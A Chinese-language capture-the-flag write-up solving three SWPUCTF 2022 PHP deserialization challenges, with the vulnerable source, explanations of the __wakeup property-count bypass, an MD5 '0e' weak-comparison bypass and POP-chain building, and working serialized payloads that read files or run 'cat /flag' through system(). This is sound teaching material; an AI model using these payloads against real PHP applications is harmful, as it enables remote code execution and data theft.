[SWPUCTF 2022 新生赛]ez_ez_unserialize
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php flag在fllllllag.php文件里
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']); //将x反序列化输出
} else {
highlight_file(__FILE__);
}
因为flag在fllllllag.php文件里,所以要让fllllllag.php文件在x中,让x等于这个文件的序列化
对x进行序列化操作:
<?php
class X
{
public $x ='fllllllag.php';
}
$a=new X();
echo serialize($a);
?>
//输出:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
绕过__wakeup()函数,构造payload: 得到flag
?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
__wakeup()函数漏洞原理:
当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会跳过__wakeup的执行
[SWPUCTF 2022 新生赛]1z_unserialize
<?php
//包含了一个名为lyh的类,该类有公共属性:url、lt和lly
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct() //魔术方法__destruct(),在对象被销毁时调用
{
$a = $this->lt;
//尝试执行一个由$this->lt引用的函数,并将$this->lly作为参数传递给该函数。
$a($this->lly);
}
}
unserialize($_POST['nss']); //从POST请求中的nss参数读取序列化的数据,并进行反序列化操作
highlight_file(__FILE__);
?>
赋值执行RCE:
直接将 $a 赋值为 system ,即将 $this->lt 赋值为 system ,那么 $this->lly 就可以赋值任意命令执行RCE。
将$this->lly赋值成ls /查看根目录,POST传参nss发现存在flag文件。
将$this->lly赋值成cat /flag读取flag。
<?php
class lyh
{
public $url = 'NSSCTF.com';
public $lt="system";
public $lly="cat /flag";
}
$a=new lyh();
echo serialize($a);
?>
//输出:O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
php反序列化之pop链构造
做pop类题目要紧盯魔术方法。
需要找到普通类与魔术方法之间的联系,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。
在构造调用链时,先找到调用链的头和尾。头一般都是能传参以及可以反序列化的地方,而尾部一般都是可以执行恶意代码的地方。
[SWPUCTF 2022 新生赛]ez_1zpop
代码审计
<?php
error_reporting(0);
class dxg //定义类dxg,其中只有一个方法fmm()
{
function fmm()
{
return "nonono";
}
}
class lt //定义类lt,包含公共属性impo、md51、md52
{
public $impo='hi';
public $md51='weclome';
public $md52='to NSS';
function __construct() //__construct()类的构造函数,创建对象时触发
{
$this->impo = new dxg; //实例化了dxg类的对象并赋值给impo属性
}
function __wakeup() //__wakeup()方法在反序列化对象时被调用
{
$this->impo = new dxg; //也实例化了dxg类的对象,并返回fmm()方法的结果
return $this->impo->fmm();
}
function __toString() //__toString()把对象当成字符串调用时触发
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm(); //返回impo属性的fmm()方法的结果
}
function __destruct() //__destruct()方法在对象销毁前被调用,它会调用__toString()方法并输出结果。
{
echo $this;
}
}
class fin //定义类fin,包含公共属性a和一个方法fmm()
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a; //fmm()方法调用了属性a所指向的函数,并将属性title作为参数传递。
$b($this->title);
}
}
if (isset($_GET['NSS'])) { //检查是否存在$_GET['NSS']参数,存在,对NSS进行反序列化
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}
如果$this->impo 已设置,并且 $this->md51 = $this->md52 的 MD5 哈希值,同时 $this->md51 和 $this->md52 值不相等。就会调用 $this->impo->fmm() 方法。
function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
0e绕过MD5弱比较:
令md51='s155964671a'; md52='s214587387a';
构造pop链:先把用到的类写出来,形成一个框架,然后补充类中的变量,再将用到的类进行实例化。
<?php
class lt
{
#设置 $this->md51 = $this->md52 的 MD5 哈希值
public $impo='hi';
public $md51='s155964671a';
public $md52='s214587387a';
}
class fin
{
#赋值执行RCE:$a="system",$title="cat /flag"
public $a='system';
public $url = 'https://www.ctfer.vip';
public $title='cat /flag';
}
#实例化类
$lt = new lt();
$fin = new fin();
#链子
$lt->impo=$fin;
echo serialize($lt);
?>
//输出:O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}
得到输出后,记得绕过wakeup(),GTE传参NSS构造payload: 得到flag
?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}